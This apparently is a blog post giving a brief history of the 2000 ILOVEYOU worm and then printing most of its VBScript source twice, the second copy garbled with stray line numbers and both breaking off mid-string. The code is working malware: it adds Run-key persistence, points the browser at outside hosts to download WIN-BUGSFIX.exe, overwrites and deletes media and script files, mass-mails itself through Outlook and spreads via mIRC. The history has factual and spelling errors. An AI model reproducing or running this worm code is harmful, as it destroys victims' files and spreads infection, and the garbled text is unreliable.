I LOVE YOU Virus Source Code and History

Posted on 20 December 20185 July 2019 by fadıl

This post is about one of the greatest hacks all the time, ILOVEYOU virus aka love letter virus which affected 10 million computers and almost 10% percent of computers at the time of 2000.

Cheap History

On 5^th May 2000, Reonel Ramones and Onel de Guzmen of Philippines created a virus name ILOVEYOU. It originated in Pandacan then spread across honking, Europe and then to US. This effected the loss around $20 billion.

Source Code

ILOVEYOU virus was written in Microsoft Visual Basic Scripting (VBS). This worm searches for the JPG, JPEG,VBS, VBE, JS, JSE, CSS, WSH, SCT, DOC, HTA, MP2 and MP3 virus replicates everything.

The mail was sent to everyone with the subject ILOVEYOU and an attached file LOVE-LETTER-FOR-YOU.txt.vbs. Windows have a default option of hiding extensions so .vbs extension was hidden and .txt was visible this is social engineering technique. As everyone opened it as result they also became victim.

Here is the source code for that

rem  barok -loveletter(vbe) <i hate go to school>
rem by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm
hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw
erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd
QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD
GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine "    corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2=  /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead )
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS -
LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@
CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.
HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@
BGPROPERTIES=@-@fixed@-@
BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to
Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

rem barok -loveletter(vbe) <i hate go to school>

rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs"

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")

if (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm

hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw

erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd

QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD

GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe"

end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Main\Start Page","about:blank"

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path&"\")

end if

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

ext=lcase(ext)

s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)

cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.CreateTextFile(f1.path&".vbs")

mp3.write vbscopy

mp3.close

set att=fso.GetFile(f1.path)

att.attributes=att.attributes+2

end if

if (eq<>folderspec) then

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then

set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"

scriptini.WriteLine ";mIRC Script"

scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"

scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"

scriptini.WriteLine ";"

scriptini.WriteLine ";Khaled Mardam-Bey"

scriptini.WriteLine ";http://www.mirc.com"

scriptini.WriteLine ";"

scriptini.WriteLine "n0=on 1:JOIN:#:{"

scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick

"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

scriptini.WriteLine "n3=}"

scriptini.close

eq=folderspec

end if

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

end sub

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("WScript.Shell")

regedit.RegWrite regkey,regvalue

end sub

function regget(value)

Set regedit = CreateObject("WScript.Shell")

regget=regedit.RegRead(value)

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (fso.GetFolderExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("WScript.Shell")

set out=WScript.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead )

if (regad="") then

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if

x=x+1

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if

Set out=Nothing

Set mapi=Nothing

end sub

sub html

On Error Resume Next

dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS -

LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?

@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@

CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _

"<?-?HEAD><BODY

ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.

HTM#-#,#-#main#-#)@-@ "&vbcrlf& _

"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@

BGPROPERTIES=@-@fixed@-@

BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to

Enable ActiveX<?-?p>"&vbcrlf& _

"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@

BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> "&vbcrlf& _

"<?-?BODY><?-?HTML>"&vbcrlf& _

"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _

"if (window.screen){var wi=screen.availWidth;var

hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _

"?-??-?-->"&vbcrlf& _

"<?-?SCRIPT>"&vbcrlf& _

"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--

Cheap History

Source Code

ILOVEYOU VIRUS source code

Visual Basic

Leave a Reply Cancel reply